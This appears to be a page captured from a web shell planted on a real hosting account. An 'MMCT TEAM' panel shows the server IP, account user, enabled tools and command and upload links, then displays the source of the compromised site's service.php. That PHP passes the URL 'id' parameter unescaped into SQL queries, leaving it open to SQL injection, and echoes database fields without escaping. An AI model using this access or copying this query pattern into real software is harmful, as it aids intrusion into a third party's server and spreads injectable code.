MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.137.166.61
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/automationpowersolutions.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/automationpowersolutions.com/service.php
<head>
    <?php include 'headlink.php';?>
</head>
<?php include 'preloader.php';?>
<?php include 'header.php';?>
<?php 
        include_once('admin/config.php');
        $aid = $_GET['id'];
        $sql1 = "SELECT * FROM `services_cat` WHERE c_id = '$aid'";
        $run1 = mysqli_query($db,$sql1) or die("Query Not run");
        $data1 = mysqli_fetch_assoc($run1);
    ?>

	<!-- Page Title -->
	<!--background-image: url(images/background/9.jpg)-->
    <section class="page-title" style="background:black;">
        <div class="auto-container">
			<ul class="bread-crumb clearfix">
				<li><a href="index.php">Home</a></li>
				<li><a >Services</a></li>
				<li><?php echo $data1['cat_name']?></li>
			</ul>
			<h2><?php echo $data1['cat_name']?></h2>
        </div>
    </section>
    <!-- End Page Title -->
	<!-- Sidebar Page Container -->
    <div class="sidebar-page-container">
		<div class="pattern-layer" style="background-image:url(images/background/pattern-25.png)"></div>
    	<div class="auto-container">
        	<div class="row clearfix">
				
				<!-- Sidebar Side -->
                <div class="sidebar-side left-sidebar col-lg-4 col-md-12 col-sm-12">
                	<aside class="sidebar sticky-top">
						
						<!-- Service Widget -->
						<div class="sidebar-widget service-widget">
							<div class="widget-content">
								<div class="sidebar-title">
									<h4>All Services</h4>
								</div>
								<ul class="service-list">
								    <li class="current"><a href="<?php echo $data1['c_id']?>"><?php echo $data1['cat_name']?></a></li>
								    <?php 
                                            include_once('admin/config.php');
                                            $a_id = $_GET['id'];
                                            $sql = "SELECT * FROM `services_cat` WHERE c_id != '$a_id'";
                                            $run = mysqli_query($db,$sql) or die("Query Not run");
                                            while($data = mysqli_fetch_assoc($run)){
                                        ?>
									<li><a href="service.php?id=<?php echo $data['c_id']?>"><?php echo $data['cat_name']?></a></li>
									<!--<li><a href="#">Noitrogen Gas Generator</a></li>-->
									<!--<li><a href="#">Pressure vessels & storage tanks</a></li>-->
									<!--<li><a href="#">Industrial Services</a></li>-->
									<?php }?>
								</ul>
							</div>
						</div>
						
						
					</aside>
				</div>
				
				<!-- Content Side -->
                <div class="content-side right-sidebar col-lg-8 col-md-12 col-sm-12">
					<div class="service-detail">
						<div class="inner-box">
							<div class="image">
								<img src="images/resource/products/<?php echo $data1['cat_image']?>" alt="" />
							</div>
							<div class="lower-content">
								<h3><?php echo $data1['cat_name']?></h3>
							        <p><?php echo $data1['cat_desc']?></p>
								<div class="options-outer">
									<!--<div class="row clearfix">-->
									<!--	<div class="column col-lg-6 col-mg-12 col-sm-12">-->
									<!--		<ul class="list">-->
									<!--			<li>Lorem ipsum dolor sit amet adipiscing</li>-->
									<!--			<li>Eiusmod tempor ut Labore et dolore elit</li>-->
									<!--			<li>Sedmagna quis suspendisse ultrices gravida.</li>-->
									<!--		</ul>-->
									<!--	</div>-->
									<!--	<div class="column col-lg-6 col-mg-12 col-sm-12">-->
									<!--		<ul class="list">-->
									<!--			<li>Lorem ipsum dolor sit amet adipiscing</li>-->
									<!--			<li>Eiusmod tempor ut Labore et dolore elit</li>-->
									<!--			<li>Sedmagna quis suspendisse ultrices gravida.</li>-->
									<!--		</ul>-->
									<!--	</div>-->
									<!--</div>-->
								</div>

							</div>
						</div>
					</div>
				</div>
				
			</div>
		</div>
	</div>

	<?php include 'testimonial.php';?>
	<?php include 'footer.php';?>

MMCT - 2023